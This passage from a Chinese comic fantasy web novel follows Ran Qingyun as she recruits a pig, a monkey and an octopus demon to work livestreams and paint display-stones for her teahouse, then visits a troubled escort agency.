“我这把老骨头,能再活个十年八载的都算福大命大了。等我死后,我怕她又是孤身一人,若你们能与她做朋友,那是最好不过的。”他郑重地看着冉青云,神情是冉青云前所未见的认真,“等几十年后,你们记得给她找新朋友,她最怕寂寞了。”
冉青云却笑道:“我懂了,简单来说,就是好友世袭制,对么?”
庞千山听了,紧皱的眉头都舒展开,哈哈大笑起来:“好友世袭制?哈哈哈哈哈,说的真不错。若是真能一代代将陈三妹好友之位传下去,那我也能安心了。”
26. 第二十六回
这么看来,庞千山将铺子低价租与她们,又力排众议支持她们在天虞城扎根办茶楼,实际上都是为了陈三妹。
想来,估计是他见冉青云对妖族毫无偏见,又对自己的妖族朋友十分重视,就如同陈三妹珍爱犬妖陈小雪一样,因此认为冉青云能够与陈三妹成为好友。
庞千山那一番话说得诚心诚意,但这世上哪有包办好友的道理?
冉青云道:“交友又不是一个人的事情,也得陈三妹愿意才行。更何况,若是点点头动动嘴皮子就成为好友,那好友这个称呼未免也太廉价了。”
庞千山听了,点了点头,说:“所言极是。你这么一说,反而让我更相信自己没有看走眼了,你确实是一个有情有义的人。”
冉青云拍拍胸脯,笑着说:“不论如何,我们茶楼的大门永远为你们打开,她只要想来,随时都可以来茶楼玩。”
庞千山感谢道:“有你这句话,我就安心了。”
西施犬陈小雪却别过头去,冷哼一声,说:“哼!你总把三三姐姐想得那么脆弱,她才不用你帮她铺路搭桥呢!从前我和三三姐姐相依为命上百年,也没看她需要什么人族朋友。”
庞千山揉了揉陈小雪的脑袋,说:“你就当我是闲着没事瞎操心吧。我也知道阿姐她心性坚毅,替她筹谋朋友也不是什么雪中送炭,不过是我希望她能过得更开心,锦上添花罢了。”
“唉呀!你把我发型都弄乱了!”陈小雪甩了甩脑袋,头上绑着的小花变得松松垮垮,她不满地嚷道,“你快点儿帮我重新扎好头发!害得我披头散发的,丑死了!”
她气呼呼的,已经没了心思和庞千山争论关于陈三妹交友的事儿。
庞千山呵呵一笑,熟练地帮她扎绑头发。
正巧这时冉青云腰间的传音玉玺闪了闪,她掏出来一看,是纪映阳的消息:“玄隐已回,外加一只小毛猴。”
冉青云放下心来,刚想收起玉玺,玉玺又是一闪,还是纪映阳的消息:“你可真行,大半夜的出去行侠仗义!居然也不把我叫醒一起去,我是睡了,又不是死了。”
哦嚯,看来有只跟屁虫在闹脾气了。
***
西坊街过于拥挤,车马无法通行。陈三妹只好把马车停在街口,几人下了车,步行前往香梅茶楼。
陈三妹是香梅茶楼的忠实粉丝,老早就想去茶楼做客了,茶楼的位置早已烂熟于心。她蹦蹦跳跳的,怀里抱着西施犬,兴高采烈地走在最前头。
庞千山走到大街上,又摆出一副道骨仙风的样子,不疾不徐地跟踱步而行,颇有世外高人的风范。
冉青云跟在他们身后,手里还提溜着一只昏迷中的小猪仔。
香梅茶楼就在西坊街主路中间最好的地段上,从街口直走不到一刻钟的时间就到了。
茶楼大门前,纪映阳正坐在台阶上,手撑着下巴,抬着脑袋四处张望。
一瞧见冉青云,他眼睛一亮,忽地站起身,又双手叉腰,皱起眉头,冲冉青云阴阳怪气地说:“嚯!大捉妖师终于回来啦?”
冉青云还没回话,茶楼里一个小小的身影猛地蹿了出来,正是提前回了茶楼的孙毛毛。
孙毛毛原本闷闷不乐地窝在大堂角落,听见纪映阳的声音,抬头一看,便看见冉青云带着朱胖胖回来了,当即眼角含泪,抢上前来,悲呼道:“二师弟!还好你没事啊!”
他双腿一弯就想跪下向冉青云道谢,却被冉青云伸手稳稳托住,只好改为拱手行礼,激动得语无伦次:“太、太谢谢您了,实在是太感谢了!”
冉青云摆摆手,说:“不用谢我,恶鬼是这位陈姑娘捉住的。”她以掌代指,礼貌地指向陈三妹。
孙毛毛虽然看陈三妹年纪不大,但丝毫不敢轻慢,连忙作揖,对陈三妹行礼道:“多谢陈姑娘!”
刘掌柜和白灿灿也放下手里的活儿,走到门口迎接。
庞千山是香梅茶楼的房东,大家都认识,但陈三妹却是一个生面孔,刘掌柜、白灿灿和纪映阳依次朝她行礼自报了姓名。
陈三妹也作揖回礼,礼罢,她情不自禁地往前迈了一大步,冲到白灿灿面前,激动不已地说:“哇!真的是白灿灿!你比在显影石上看着还漂亮!”
她两眼放光,接着说:“我可喜欢你了!你看,我这身裙子也是看你推荐买的。”说着,转了一圈展示起自己的玉色烟萝纱裙。
庞千山打趣道:“我认识阿姐这么久,还是第一次看她关注起自己衣着来,她从前可一直都是随便披一件黑袍就出门的,雪儿姐的衣服都比她多。”
听见白发苍苍的庞千山称呼看上去不过及笄之年的陈三妹为“阿姐”,众人不由得都露出了诧异的神情,
庞千山见怪不怪,对陈三妹说:“阿姐,莫激动啦。你忘了向大家自报家门啦,礼数可不能忘。”
陈三妹点点头,一本正经地介绍起来。
她先是拍了拍自己的白马,介绍道:“这是我的爱马,陈流星,取自大步流星。”
纪映阳惊了:“马也有大名?”
陈三妹没理他,又横起自己的佩剑,介绍道:“这是我的剑,陈锋霜,取自锋刃如雪。”
纪映阳暗暗吐槽:“还好起名时你想着的词不是锋芒逼人,不然都不知道要叫疯人还是盲人。”
陈三妹又抱起小土松犬,握着西施犬的爪子轻轻挥了挥,给大家打招呼,介绍道:“这是我妹妹,陈小雪,洁白如雪。”
西施犬点点头:“我叫陈小雪。”
纪映阳已经习惯了陈三妹给手边所有东西取大名的举动,见怪不怪地点点头,说:“哦哦哦,陈小雪。等、等下,你妹妹?而且怎么小狗在自我介绍!”
西施犬摇摇尾巴,像看傻子似地看着纪映阳,说:“你惊讶个什么?不是听说你捉妖人么?没见过妖族呀?”
不只纪映阳,其他几人都很惊讶,所思所想和几刻钟前的冉青云想的一模一样——童颜的姐姐,苍老的弟弟,毒舌的小狗,这究竟是什么组合啊!
陈三妹一一将自己的朋友也介绍给了大家认识,自认为礼数已十分周到,最后自报家门道:“我叫陈三妹,是天虞城的首席捉鬼人。”
这名字未免有点太随意,她给白马和佩剑起的名字都比这名字正式。
纪映阳点评:“可以看出您高堂起名水平确实不如您呀。”
刘掌柜或许是不认同纪映阳这暗嘲陈三妹名字的语气,皱了皱眉,说:“名字普通怎么了?我爹娘给我起的名字还很难听,后来我背井离乡,独自生活,就连名带姓全改了。”
她扭头看向陈三妹,温和地说:“就算是父母给的名字,若你自己不喜欢,随时可以给自己挑一个好听的新名字!”
陈三妹沉默了三秒,说:“……这个名字就是我自己挑的。”
刘掌柜好心说错话,尴尬地捂住嘴。
白灿灿出声打圆场
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,问道:“那是因为您在家里排行老三?”
陈三妹却摇摇头,说:“只是因为我喜欢这个名字。”
一个自我介绍都掰扯这么久,冉青云急着找玄隐,打断了对话,问道:“玄隐呢?怎么没瞧见他。”
闻言,孙毛毛脸上的表情有些僵硬,吞吞吐吐地说:“他、他身体不太舒服……”
纪映阳补充说:“但玄隐一定要在大堂等着你,死活不愿意回房间里,现在在大堂的雕花桌上休息呢。”
冉青云走进大堂,见大堂中央的雕花桌旁围着几个人,年轻的小姑娘居多,都探着脑袋往桌面中心看。
桌子上,小黑蛟形态的玄隐正躺在用手帕铺成的小床上,蔫了吧唧的。
小姑娘们都是茶楼的客人,平日里最爱看显影石上的演出,都见过玄隐人形姿态帅气俊美的样子,连带着看他小黑蛟形态也觉得不吓人了,此时见他楚楚可怜的样子,心里都起了悯恻之情,围在桌旁,用手帕铺床垫、叠枕头,希望他能休息得好一些。
看着眼前这场面,冉青云莫名其妙地感觉心里隐隐有些不舒服,但关心玄隐的身体为重,暂且将那一丝不悦按下不表。
玄隐见冉青云回来了,一骨碌起身,开心地说:“青云!你回来啦!”
孙毛毛在一旁,将玄隐被法阵传送到桃花林,桃树妖小桃差点儿误伤了他的事情详细地和冉青云说了。
玄隐急忙说:“你别怪他们!都怪我当时太害怕了,慌里慌张的,连小桃问我名字都没听清,二话不说就恐吓她……”
冉青云拨开围在桌旁的人墙,摸了摸玄隐的头,道:“不怪他们,你没事就好。”说罢,伸出手,让玄隐盘在她手腕上。
这可是我的小黑蛟!
这些人趁着主人不在家,拿小黑蛟玩过家家算什么事!
可转念一想,又觉得自己刚刚拨开人群的动作太生硬,未免显得小气,就好像孩童抱着自己心爱的玩具宣示主权似的,有些无礼。
谁知,围在桌旁的人反而却神情有些激动,压低声音交头接耳地说:“啊啊啊!你看到了吗!他乖乖缠到手腕上了,好可爱啊!!!”
另一边,陈三妹已兴冲冲地拉着白灿灿请教起服饰搭配的学问,庞千山抱着犬妖陈小雪,一起面带笑意地看着陈三妹叽叽喳喳地讲话。
刘掌柜对冉青云说:“你饿坏了吧,午膳时给你留了些饭菜,我去后厨帮你热一热。”
冉青云从大半夜忙活到现在,捉鬼赶路时尚且没什么感觉,现在放松下来,还真感觉饿得慌。
冉青云刚要吃饭,纪映阳却在她耳边念叨起来:“拜托,你是个捉妖师,又不是驱鬼人。你硬要去行侠仗义,行,没人拦着你,但好歹等我醒了一起去呀,多个人多个帮手。要是你出了什么事,我们都不知道你怎么死的!玄隐你也是,明知道有危险就该拦着她呀,她指东你就不敢往西,能不能有点主见?”
此时此刻,冉青云身边的猴妖孙毛毛照看着他的二师弟猪妖孙胖胖,不远处一匹白马不时打着响鼻,正前方还有一个人唠唠叨叨地念着紧箍咒。
这既视感是怎么回事!
明明除了纪映阳全是生面孔,为什么看起来都这么眼熟!
感觉好像就差一个络腮胡、蓝靛脸、手持月牙铲的壮和尚啊!
纪映阳还在唠叨,冉青云忍不住捂住耳朵,嚷道:“别念了别念了,再念下去我以为我走错片场了都……”
27. 第二十七回
冉青云拿起筷子,正要吃饭,孙毛毛突然惊呼起来:“呀!胖胖醒了!”
小猪妖朱胖胖悠悠转醒,浑身疼痛,一睁眼,面前就是孙毛毛表情焦急关切的脸,不禁悲从中来,哭道:“大师兄!你是不知道我今早遭遇了……”
他话还没说完,又看见孙毛毛身后坐着站着五六个人,全都扭头对他行注目礼。
朱胖胖吓得原地弹了一丈高,尖叫道:“啊!!!好多人!!!”
捉鬼时场面太过混乱,朱胖胖中途就晕了过去,并不知道后来发生了什么。
冉青云放下筷子,起身走向朱胖胖,边说:“那学堂的夫子其实是个伥鬼,用煞气干扰你们所思所想,诓骗了你们。但现在已经安全了,那恶鬼被驱鬼人封印在镇鬼葫芦里了。”
她的本意是让朱胖胖知道自己已经脱离危险,让他安心,谁知朱胖胖并不领情,高声喝道:“你别过来!你再过来我就不客气了!”
听他这么一说,冉青云逼近了一步,挑眉道:“哦?那你要怎么对我不客气?”
孙毛毛见气氛不对,急忙插到两人中间,对朱胖胖说:“我早和你说那夫子不对劲了,是我拜托她去救你出来的!”
朱胖胖却没搭理他,全身肌肉紧绷,充满敌意的目光锁定了冉青云,但这并没有使圆乎乎的他显得很凶猛,反而使他看上去像一颗紧实劲道的猪肉丸子。
眼看冉青云步步逼近,朱胖胖心一横,绕过挡在前面孙毛毛,张着嘴扑向冉青云,一副要生啖其肉的表情。
纪映阳原本站在冉青云身侧,见状连忙大迈一步,上前去拦。
孙毛毛也同时冲上去想要阻止,小个子的他却不慎撞向了纪映阳的腿。
纪映阳没收住步子,面朝下摔了个狗啃泥。
冲锋的朱胖胖又被摔倒的纪映阳绊倒,扑通一声,摔在了人皮肉垫纪映阳身上,脑袋结结实实地磕了上去,大张着的嘴嗷呜一口咬上纪映阳的屁股。
纪映阳抬起头,摔得灰头土脸的,悲愤交加地大喊起来:“怎么遭殃的又是我的屁股啊啊啊啊啊!!!!”
在南淮城的锦绣客栈,纪映阳惨遭家猪袭臀的场面还历历在目,没想到今日还有幸见证经典复刻。
冉青云忍不住噗嗤笑出声,伸手抓住朱胖胖的后领,将他拎起来。
朱胖胖的小短手小短脚挣扎着扑腾起来,却碰都碰不到冉青云,滑稽中竟显出几分可爱来。
冉青云笑道:“真是头猪!都说了那夫子是个坏人,诓骗了你,引诱你对人类心生恶意,这么简单的一句话都听不懂么?”
陈三妹见这猪妖蠢得可爱,也起了逗弄的心思,掏出镇鬼葫芦,问道:“还是说,要我把你那伥鬼夫子放出来,你自己好好和他聊聊天?”
朱胖胖回想起自己晕倒前,看见夫子那煞气缭绕的青面獠牙,吓得一哆嗦,梗直了脖子,嚷嚷道:“我讨厌人类才不是受夫子诓骗!在遇到夫子之前,我早就已经恨死了人类!”
冉青云掂了掂手里的小猪,歪头问:“这又是为什么?”
朱胖胖嘴角下拉,眉头紧皱,挥舞着两个小拳头,气势汹汹地说:“我爹去世前,就一直就告诉我,你们人类刁滑奸诈、假仁假义、厚颜无耻、罪恶滔天!我绝不能与人类为伍!”
纪映阳插嘴打趣道:“原来是只听爹爹话的乖小猪。我有个办法,不如这样,从现在起,我就是你爹,你听我的话。”
朱胖胖更生气了,带着破釜沉舟的气势大喊:“我今天就是被你们活活打死摔死,也绝不会对你们屈服的!”
这儿也没人要杀他啊,真要杀他怎么还会听他讲这么久的废话。但看不清形势的朱胖胖还在那儿虚空索敌,演一出悲壮大戏。
冉青云失笑,手一松竟让朱胖胖挣脱开了。
朱胖胖嘴里说着宁死不屈,身体还是很诚实的,刚重获自由,就脚底抹了油似的要往门外跑,门口站着陈三妹和庞千山两位大佛,明显不好惹,朱胖胖闯不出去,又跑到大堂角落里,瑟瑟发抖。
还真以为他不怕死呢,知道害怕就好办了。
冉青云走到朱胖胖面前,拔出腰间的桃木剑,横劈直指朱胖胖。
她的桃木剑上刻着符文,附着法力,对妖怪的威胁极大。
朱胖胖手脚并用地向后挪动屁股,使劲把自己的身体往角落里挤,尽可能地离这桃木剑远一些。
可朱胖胖往后挪一步,冉青云就往前逼三尺。
几句话间,剑锋已经直指他眼前,离他那对亮晶晶、圆滚滚的眼珠子甚至不到半掌。
这是一种猎物被猎人锁定时本能产生的恐惧,他心跳加快,汗毛倒竖。
他惊恐地盯着剑锋上的寒光,几乎盯成对眼,又滑稽又可怜。
冉青云皮笑肉不笑:“接下来你乖乖听我的话,我说什么你就做什么,我就饶你一命。你是同意,还是赞成?”
朱胖胖吓得脸色煞白,身体比脑子先一步作出反应,缓缓点了点头。
***
一刻钟后,朱胖胖坐在雕花桌旁,啃鸡腿啃得满嘴流油,塞满饭菜的嘴里含糊不清地说:“嘿嘿!真香!”
朱胖胖被冉青云恐吓后,心想对方凶神恶煞,定是要逼迫自己行伤天害理之事,无奈自己好好的猪猪姓命还握在她手里,只能忍泪吞声。
谁知冉青云只是拎着他坐到饭桌前,将桌上的饭菜用空碗空碟匀了一半出来,放在朱胖胖面前,勒令道:“吃!”
朱胖胖大惊!难道是这饭菜里有毒!
横竖都是一死,被打死不如被撑死,当个饱死鬼。
朱胖胖视死如归,紧闭双眼,拿起一个鸡腿就往嘴里送。
好吃!这也太好吃了!
死前吃到这等美食,俺老猪死而无憾啊!!!
饿了老半天肚子的冉青云也坐下来,捧起碗,终于吃上了饭。
朱胖胖一惊:她怎么也一起吃?难道这饭菜其实没下毒?
他还来不及细想,冉青云又夹了一个鸡腿刚他,说:“这个也给你吃。”
还有这种好事?
难道他们是想用鸡腿活活香死他?
朱胖胖张嘴刚要咬,冉青云又命令道:“你咬一口鸡腿,就夸一句。”
朱胖胖不明所以,但也不敢不从,他咬了一口,边嚼边夸:“这鸡腿也太好吃了!”
冉青云不满意:“再夸详细一点。”
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朱胖胖又咬了一口,绞尽脑汁搜罗好词好句,念文章似的,抑扬顿挫地说:“一口咬下去,酥脆的皮咔滋作响!”
冉青云让他继续表演:“继续吃,继续夸。”
朱胖胖再啃了一口,大声说:“鲜嫩的肉一抿就化,汁水在嘴里爆开,醇香爽滑!”
他三口就吃完了一个大鸡腿,连骨头上的肉沫都嗦得一干二净,总结道:“简直让人欲罢不能、回味无穷!”
冉青云满意地点点头,说:“你合格了,之后来这儿上班吧。”
“上、上班?”朱胖胖一脸疑惑。
冉青云解释:“就是当差的意思。工作任务就是吃好喝好,给观众们描述一下食物的味道口感,每月给你二两银子的薪水,如何?”
这世间居然有吃吃喝喝就能赚银子的差事!
朱胖胖的世界观受到了冲击,他怔怔地问:“这意思是……你给我吃的喝的,我不用给付钱,你反而还要送我银子?”
这会儿小猪妖倒是聪明起来了,冉青云点点头,说:“没错。”
朱胖胖还没回话,孙毛毛已经蹦了出来,急冲冲地毛遂自荐:“我也想来你这儿应聘,你还缺妖么!”
孙毛毛之前穿衣戴帽,装作人类的样子,提着扁担来天虞城里卖桃,省吃俭用了大半年才攒了三两银子,若是能在这儿工作,这三两银子他一个半月就能赚到!
若是错过了这种好事,他怕是得悔得几天几夜睡不着觉!
冉青云盯着孙毛毛沉思了一会儿,问道:“你之前是不是说过你的桃树妖朋友有一片桃林?”
孙毛毛连连点头:“她管着一大片桃林,那些桃子都可好吃了!品质是秋彤桃,最近正好开始结果了,能一直结果子到十月份呢!”
冉青云笑道:“那行,欢迎你来我们这儿工作。”
孙毛毛激动地搓搓手,说:“太好了太好了,谢谢东家!我该做些什么呢?”
冉青云说:“到时我给你一个可以转播画面的铜镜,你就拿着铜镜在桃林里摘桃子就行了,画面会实时传送到显影石上。你记得边摘边试吃几个,给观众们描述一下这桃子有多好吃。”
孙毛毛诧异道:“这样就行了吗?”
他过去也常去桃林里摘桃子,这和他日常生活没什么变化,就是手上多拿一个铜镜,每个月就能白赚二两银子?
冉青云说:“你摘了的桃子要拿竹筐装好,我之后要把桃子装盒卖出去,说不定到时候,你摘的都没有卖的快。卖桃子的盈利我们和你平分,如何?”
冉青云说完这话还担心自己有些奸商风范了,自己啥也不出,孙毛毛出桃出力,盈利却平分。
谁知孙毛毛却一脸激动,连连答应。
真是大好人啊!
不仅愿意给工钱,还愿意帮他卖桃!
从前他挑着扁担来城里卖桃,一天也就做几单小生意,天黑了还得挑着扁担回去。
若是以后桃子真能大卖,卖出去的速度比他摘桃的速度还快,那得赚多少银子呀!
双方都美滋滋的,觉得自己占了大便宜。
冉青云当场拟了书契,和朱胖胖、孙毛毛一起签字画押了。
28. 第二十八回
香梅茶楼直播公会又增加两员大将——猪妖朱胖胖和猴妖孙毛毛。
猪妖朱胖胖深耕吃播,作为一只胃口大开的杂食猪猪,就没有他吃着不香的食物,每晚亥时准时开播,深夜食堂,胡吃海吃,馋得多少人睡不着觉。
朱胖胖对人类的敌视已经荡然无存,当初死亡威胁也没让他真正妥协,二两银子的月钱却让他心服口服、洗心革面。
这就是资本的力量。
美食频道的第一位赞助商是隔壁烧鸭店的老板。纪映阳是烧鸭店的老顾客,烧鸭店老板攀着与纪映阳相熟的关系,成为首家在香梅茶楼直播公会打上广告的食肆。
当夜直播,第一次接到广告的朱胖胖激动不已,在半个时辰里连吃了八只烧鸭,吃完回味悠长,一句词都不带重复地夸了整整两刻钟。
冉青云怕他吃这么多,容易撑坏肚子,劝他尽力就好。
于是,第二晚,朱胖胖尽力而为,半个时辰里解决完十二只烤鸡,吐出来的骨头都能在桌面上堆成一座小山。
冉青云这才知道,他之前的食量原来是已经有所收敛了。
吃烧鸭的热潮风靡全城,烧鸭店老板还在冉青云的建议下开办了吃鸭挑战,他准备了一个半刻钟的沙漏,若是半刻钟内可以吃完一整只大烧鸭,则不仅免单,还额外多送一只烧鸭。烧鸭店生意红火得鸭子都差点儿不够卖,连带着鸭子价格都涨了不少,周边养鸭的农户也跟着乐。
而猴妖孙毛毛则专注助农直播,拿着刻了符文可以实时传输图像的铜镜,第一视角沉浸式摘桃、装箱,勤勤恳恳地干活,干累了就吃几口桃子,一咬下去汁水满溢,满嘴清甜。
孙毛毛不像朱胖胖那么能说会道,吃桃时也只会翻来覆去地夸“好吃”。但一只不善言辞的小猴子吃桃子吃得满脸幸福,一脸真诚地夸桃子好吃,可信度实在是太高了。
果然和冉青云说的一样,他摘桃的速度都快赶不上卖出去了,预订买桃的人越来越多,孙毛毛每天两眼一睁就欠着十几框桃子没摘。
不仅想吃桃的人很多,想亲自摘桃的人也不少。
冉青云搞了一个自助摘桃活动,每人付三十文钱,可以在桃林里摘一下午的桃,随时摘随时吃,还附赠一个小竹筐,装在竹筐里的桃子可以打包带走。由于桃林面积和桃子数量有限,每日只有五个活动名额,报名参加的人已经排到了十月份。
第一批参加自助摘桃活动的人进入桃林时,怕人的孙毛毛还有些胆怯害羞。没过一周,他已经游刃有余,用长长的尾巴把枝干一缠,给来宾们表演倒挂金钩助兴。
生活不易,猴猴卖艺。
直播事业蒸蒸日上,显影石已经供不应求了。
冉青云和纪映阳两人就算画断了手,一天最多也只能制造出四十个显影石,是时候招招人手了。
显影石的制作分为以下三步:
第一步,调制朱砂墨;
第二步,在朱砂墨中注入法力;
第三步,用朱砂墨在薄石板上画符。
除了需要掐诀念咒注入法力的第二步以外,其他两个步骤完全可以找人代劳。
因此,冉青云打算招几个画手,立马写了“画手招纳”的招贴,张贴在香梅茶楼门口。
近日里,香梅茶楼的演出大受欢迎,平日里也有不少客人愿意来香梅茶楼里坐坐,大伙儿对妖怪的接受程度都变高了许多,冉青云原本以为,招几个画手应该不是难事。
谁知道一连几天过去,竟然一个画手都招不到。
也不是说完全无人问津,只是来应聘的人都看上去不太正经。
有强词夺理型的——
冉青云让他现场执笔画一幅画,看看绘画功底。对方却眉毛一横,眼睛一瞪,大叫起来:“不会画画就不能应聘画手了?!你这是赤裸裸的歧视!”
有反客为主型的——
一进门就开始考察香梅茶楼的环境,审视几位妖怪主播,最后大发慈悲地说:“条件还可以,一定要我来这儿工作的话,必须得把妖怪们都栓起来,保证我的安全。”
有怀才不遇型的——
听说工作内容是照着冉青云所画的符文,在薄石板上画出一模一样的图案,他连连摆手:“那可不行!这不成抄袭了么?我将来可是要成为名垂千古的大画家,现在来你们这儿不过是生活所迫,留下这种抄袭的污点可怎么行?”
有出其不意型的——
应聘人说自己的工作是帮着书画商临摹书画,制作仿品,手艺了得,年入百金。他还强调自己只做仿品,不做赝品,也不把仿品当做真品卖,很有职业素养。
这倒是专业对口,冉青云却有疑问:“之前的工作赚那么多,为什么现在要来我们这儿?”
他叹了一口气:“因为我一个不小心,倒翻了水杯,将那书画商的真品名画给毁了,那可是无价之宝……”
纪映阳很震惊:“那你赔得了么?”
应聘人挠挠头,不好意思地说:“那把十个我卖了都赔不起呀!那书画商到处找我呢,所以我这不是才逃到你们这儿了吗……”
……
冉青云两辈子加起来,第一次当HR,面试了不到一周就已经身心俱疲。
原本还想着多招几个画手,批量生产显影石,哪知道现在一个人都招不到,她有气无力地趴在茶楼大堂的桌子上,唉声叹气。
玄隐见她难过,急得团团转,变成小黑蛟缠在她后脖颈上,安慰道:“你别难过!虽说现在天虞城里很多人不那么怕妖怪了,但与妖怪共事毕竟不是一件小事,所以,或许是只有找不到其他好工作的人才愿意来这里……”
冉青云长叹一口气:“实在招不到人,也只能自己画了。不就是多熬几个夜,少买几个显影石么?也没什么大不了的!”
刚去隔壁烧鸭铺排队买了烧鸭的纪映阳回了茶楼,刚到门口就“欸”了一声,大声问道:“是谁买了八爪鱼忘记拎进去了吗?怎么把这么大一八爪鱼就这么搁地上放着?”
冉青云走过去一看,香梅茶楼门口的石板台阶上,躺着一只软趴趴、滑溜溜的八爪鱼。他圆圆的身子上长着八根长长的触手,此时双眼紧闭,看上去半死不活的样子
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。
玄隐挂在冉青云脖子上,探头一看,说:“我感觉得到他身上有妖气,他是只八爪鱼妖!”
冉青云和纪映阳对视一样,都从对方的眼里看到明晃晃的疑惑——
八爪鱼妖来我们这儿做什么?
算了,总不能眼睁睁看他真死在茶楼门口,先带他进去再说。
冉青云拎起八爪鱼妖进了茶楼大堂,在后厨里找了一个大小合适的木桶,用食盐按照一定的比例调出了一桶盐水,把他轻轻放了进去。
一进水里,八爪鱼妖就开始咕噜咕噜地冒泡,没一会儿真的悠悠醒过来了,触手攀在木桶边缘,从水里探出头,小心翼翼地环顾了四周,弱弱地问:“是、是你们救了我?那……那请问这儿是香梅茶楼吗?”
冉青云点点头,问:“你来茶楼做什么?”
八爪鱼妖激动道:“我、我终于走到香梅茶楼了!我听说你们这儿在招纳画手,我是来毛遂自荐的!”
他解释道:“我住在临渔城附近的东涟海岸边,之前就听过渔夫在讨论天虞城里出了个养着妖族的香梅茶楼。前几天又听说你们在招纳画手,我也想来香梅茶楼干活,成日里在海里泡着太无聊了!”
冉青云倒是不知道香梅茶楼的名声竟然已经传到天虞城外了,临渔城离天虞城有近三百里,那儿的人居然也在讨论香梅茶楼。
纪映阳震惊道:“你是从临渔城走过来的?!三百里呢!”
八爪鱼妖重重地点了点头,说:“我背着一袋海水就出发了,绕开城镇,只走小路,走了整整三天三夜,快到天虞城时海水已经用完了。我缺水后体力不支,就晕在你们店门口了。”
一只不会化人形的八爪鱼妖独自走了三百里路,日夜兼程,需要避开人类和野兽,若是没海水了还随时可能缺水而亡,一路上的艰辛可以想象,说是九九八十一难都不为过。
唐僧师徒四人历经九九八十一难,只为取得真经;而这只小小的八爪鱼妖历经九九八十一难,就为了找个班上。
这上班的决心简直天地可鉴,日月可昭。
冉青云被这位打工人,不,这位打工妖深深地感动了,差点儿张口就要答应下来,但招聘流程还是要走的。
冉青云让纪映阳把纸笔和擦手用的毛巾拿过来,对着八爪鱼妖问:“你会拿笔画画吗?”
她心里已经暗暗决定,只要八爪鱼妖会握笔,能画画,不管他绘画水平如何,都立马给他发offer!
八爪鱼妖很自信地说:“我画画可好了!我以前住在海底,海底不少沉船上有很多字画花瓶。我闲得无聊时,就拿细石块当笔,把海底沙地当纸,临摹那些还没泡坏的字画或是花瓶上的图案。”
纪映阳拿来纸笔和一条手帕,说:“现在没干的毛巾了,我找灿灿要了一条手帕。”
八爪鱼妖接过手帕,将八只触手仔仔细细地擦干,接着竟然从笔筒里拿出了八支笔,一手一支,八手齐动,同时唰唰唰地作画起来。
冉青云看得眼睛都亮了——
一只妖,八份工,这是什么天选打工人啊!
29. 第二十九回
八爪鱼妖当场通过面试,顺利入职香梅茶楼。
八爪鱼妖的繁殖方式比较特殊,父母在□□产卵后双双死去,以悲壮的死亡换来孩子们的新生。
他自小无父无母,独自生活在海底,自然也没有名字。
为方便沟通,冉青云提出让他给自己取一个名字,堪称绘画天才的他很明显在起名上却没什么天赋,接连起了几个名字,比如什么“八阿哥”、“章鱼哥”,都被无情否决,最后折中取了个简单的名字——“小八”。
小八自此过上了包吃包住的美好生活,每月三两银子工钱,每天小鱼小虾吃到饱,每晚住在定制的宽敞木盆里,日子快乐得很。
冉青云也很快乐,她如今每天只需花上一刻钟的时间备好含有法力的朱砂墨,小八拿起画笔,八爪齐下,一天就能画好百来个显影石,显影石无法批量生产的问题得到了圆满解决。
于是,冉青云最近开始琢磨起开拓香梅茶楼全国业务的事儿——将显影石卖到全国各地,让五湖四海的人都能看到他们直播。
这时代,虽然没有快递,但有镖局。
她打算让想买显影石的人飞鸽传书将定金发过来,香梅茶楼再和镖局合作,把显影石发往全国各地。
正巧,长风镖局的总部就坐落在天虞城。
长风镖局,是国内势力最大、名号最响的镖局,创建至今已有百年历史。
两年前,前任总镖头退休不干了,带着夫人云游天下去了,将整个镖局传给了独女风颢天。
这两年间,风颢天雷厉风行,将长风镖局的规模翻了一倍不止,想和她谈生意的人大排长龙。
为了见上风颢天一面,冉青云提前半个多月,以香梅茶楼的名义写了拜帖,好不容易才和现任总镖头风颢天约定好了会谈时间。
当天,冉青云提着礼准时前往长风镖局。
她本想独自上门就行,但玄隐自从在北三山和冉青云走散后误入桃花林吃了大苦头,就患上了严重的分离焦虑,一刻也不愿离开冉青云身旁。
冉青云耐不住玄隐苦苦央求,只好让他化作人形,把他也一起带上了。
镖局大院坐落在天虞城东门附近,是一座四合院落,占地面积很大。
冉青云远远地就看见镖局大院门前立有一杆“镖”字大旗,在风中翩翩飘扬,灰砖翘脊的屋檐下悬挂着一块古旧的匾额,上书四个金色大字——“长风镖局”。
她和门口的伙计自报了姓名,将约定见面时间的书信给他过目。伙计确认无误后,开了门领他们进去。
走进大门,面前立着一面砖雕影壁墙,充当隔断,影壁墙正中间刻着一个大大的“镖”字。绕过隔断,便看到一个大院子,院子里满登登地停着十来辆镖车,每辆车的两侧都插着四面三角杏黄旗。院落中间还有两排三丈长的武器架,上面插满了刀、枪、剑、戟、斧、钺等十八般武器。
一队队镖师模样的人来来往往,行色匆忙。
这倒是有些奇怪,院子里满满当当地停着镖车,莫非是休假不用走镖?但若是休假,这儿忙忙碌碌的镖师也太多了。
伙计见冉青云一脸狐疑地看着院内,开口解释道:“唉……现在镖局出了事儿,所有镖师都停镖不走了,你们来的真不是时候,若是想委托走镖,估计今天是谈不成了……”
冉青云刚想开口问,那伙计已将他俩带到一扇门前,轻轻敲了敲门,对门内恭恭敬敬地喊道:“总镖头,香梅茶楼的东家求见。”
门内传出简短的一声回应:“进。”那嗓音空灵悦耳、雌雄莫辨,却略带沙哑,隐隐藏着些倦意。
木门吱呀一声打开了,厅内坐着一位约莫二十岁出头的女子。她剪了一头干净利落的短发,正低垂着头,单手扶额撑在桌面,听见门开的声音,她抬头望了过来。
冉青云看清了她的长相——高眉深目,丰神俊朗,一脸英气,但此时双眼却布满血丝,满脸颓态。
想必这位就是长风镖局总镖头风颢天。
冉青云作揖行礼,自报姓名:“在下香梅茶楼冉青云,见过总镖头。”
玄隐也忙学着她的样子作拱手礼,鹦鹉学舌道:“在下香梅茶楼玄隐,见过总镖头。”
风颢天揉了揉额角,拧眉想了一会儿,才说:“哦,对,对,香梅茶楼,我想起来了,十几日前你还送过拜帖来。”
她起身行了一礼,长叹了一口气,说:“真是对不住。这两日我家里出了点事儿,镖局最近这段时间不走镖了,生意暂时是谈不了了。我本该派人告知你们不必白走一趟,但一忙起来就不小心忘记了。实在是对不住你们,过几日我一定派人将歉礼送到府上。”
冉青云和玄隐对视一眼,交换了一个眼神。
既然如此,那也没办法了,只能过些时日再来拜访。
他俩正要告退,一位镖师模样的男子突然急冲冲地闯了进来,朝着风颢天单膝跪下,禀报道:“报!城东已经找遍了,还是没有找到元宝,现在已经派人去城西搜寻了。”
